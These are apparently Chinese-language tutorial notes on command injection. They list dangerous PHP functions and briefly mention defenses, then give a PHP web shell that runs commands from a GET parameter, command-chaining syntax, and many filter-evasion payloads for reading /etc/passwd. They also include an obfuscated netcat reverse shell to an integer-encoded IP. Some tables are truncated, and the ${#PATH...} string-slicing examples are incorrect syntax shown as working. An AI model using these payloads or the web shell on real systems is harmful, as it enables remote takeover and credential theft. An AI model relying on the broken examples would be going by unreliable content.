命令执行
1. 定义
- 应用程序直接或间接使用了****动态执行命令的危险函数,并且这个函数的运行参数是可控的,导致恶意命令执行
2. 防御
- 尽量****少使用执行命令函数或者禁用disable_functions
- 在进入执行命令的函数之前,对****参数进行过滤,对敏感字符进行转义
- 参数值尽量使用****引号包括,并在拼接前调用addslashes进行转义
3. 涉及函数
(1). 代码命令执行
eval()、assert()、preg_replace()、create_function()、asort()、
array_map()、array_filter()、
call_user_func()、call_user_func_array()
(2). 系统命令执行
system()、exec()、shell_exec()、passthru()、popen()、反引号、proc_close、proc_open、dl
<?php
if(isset($_GET['cmd'])){
$cmd= $_GET['cmd'];
#1. system,自带输出
system($cmd); echo '<br>1<br>';
#2. exec,无输出,且仅输出最后一行
print exec($cmd); echo '<br>2<br>';
#3. shell_exec
echo shell_exec($cmd); echo '<br>3<br>';
#4. passthru,直接将结果输出
passthru($cmd); echo '<br>4<br>';
#5. popen,返回一个文件指针,无回显
$cmd= $_GET['cmd'].">>1.txt";
popen($cmd,'r'); echo '<br>5<br>';
#6. 反引号,原理是调用的shell_exec函数
$cmd= $_GET['cmd'];
print `$cmd`; echo '<br>6<br>';
}
?>
4. 多命令执行语法
(1). windows
命令格式 | 含义 |
---|---|
command1**&**command2 | 先后执行,无论command1是否成功 |
command1**&&**command2 | 先后执行,command1成功,才执行command2 |
command1** | |
command1** | **command2 |
(2). Linux
命令格式 | 含义 |
---|---|
command1**;**command2 | 先后执行,无论command1是否成功 |
command1**&&**command2 | 先后执行,command1成功,才执行command2 |
command1**&**command2 | 先执行command1并放置后台,在执行command2 |
command1** | |
command1** | **command2 |
5. 变形
(1). Linux
a. bash通配符
通配符 | 通配符解释 | 案例 | 案例解释 |
---|---|---|---|
* | 代表****0到无穷多个任意字符 | /bin/cat /etc/*wd | 查看/etc文目录下以wd结尾的文件 |
? | 代表一定有1个任意字符 | /b?n/cat /etc/pass?d | 查看/etc文目录下符合要求的文件 |
[] | 代表****一定有1个在括号内的字符 | /bin/cat /etc/[pwe]ass[aswd]d | |
- | 代表****在编码顺序内的所有字符 | [0-9] | 0到9之间的所有数字 |
^ | 代表****反向选择 | [^abc] | 一定没有一个括号内的字符 |
b. IP转数字,数字转IP
192.168.12.151 => 3232238743
反弹shell的使用: /???/nc -e /???/b??h 3232238743 1234
c. 连接符
#原型:/bincat /etc/passwd
1. 单引号: ''包裹
/b'i'n/c'a't /e't'c/'p'a's's'w'd
2. 双引号
c"a"t /"e"t"c"/"p"a"s"s"w"d
3. 反斜杠
c\a\t /e\t\c/p\a\s\s\w\d
d. 未初始化的变量
- 未初始化的变量,直接使用时,变量值为null
echo $a $b $c
#执行whoami的变形
a=w;b=hoa;c=mi;$a$b$c
e. 反引号执行
- 在Linux下,反引号中间的字符能够被当做命令执行
#执行whoami命令:
`whoami`
who`sadasdasdfasfas`am`safqwafasfa`i
f. 其他符号
- 大括号、重定向符号绕过空格的过滤
1. 大括号
#执行的 cat /etc/passwd命令:
{cat,/etc/passwd}
#执行ls -la指令:
{ls,la}
2. 重定向
#小于号是输入重定向,就是把后面跟的文件取代键盘作为新的输入设备,大于号是输出重定向
a. 执行ls
l<>s
g. base64编码
- 首先echo [命令] | base64
echo whoami|base64 a=echo whoami|base64;echo a| base64 -d
- 将命令以base64编码的形式表示出来
echo [编码之后的命令] | base64 -d #-d指令表示进行解码
- 使用反引号执行该字符串
`echo [编码之后的命令] | base64 -d`
h. 默认字符命令
- echo **${#PATH} 可以截取**字符串
echo ${#PATH5:1} => l echo ${#PATH5:1}echo ${#PATH2:1} => ls `echo ${#PATH5:1}${#PATH2:1}` => ls ${#PATH5:1}${#PATH2:1} => ls
(2). Windows
a. 大小写混合
- 双引号、^和成对的圆括号 并不会影响命令的执行
whoami => w"h"o"a"m"i" (((whoami))) w^h^o^a^m^i #不能是 ^^ ,2个^代表转义
b. set命令和windows变量绕过
set a=whoami
echo a #输出:whoami
echo %a% #输出:whoami命令执行结果
set z=ipc
set x=onfig
%z%%x% #输出:ipconfig的执行结果
c. 字符串的切割
- %变量名:~x,y% :变量从第x个元素开始提取,总共取y个字符
# %a%的输出为whoami
%a:~0% #取出a的值中的所有字符
%a:~0,6% #取出a的值,从第0个位置开始,取6个值
d. 多命令执行语法
- 管道符 | :可以连接命令,且只执行后面的命令
whoami | net user
- 双管道符||:只有前面的命令失败,才执行后面的命令
whoam || net user
- &:前面的命令不影响后面命令的执行
whoami & net user
- &&:前面的命令成功才执行后面的命令
whoami && net user
**## **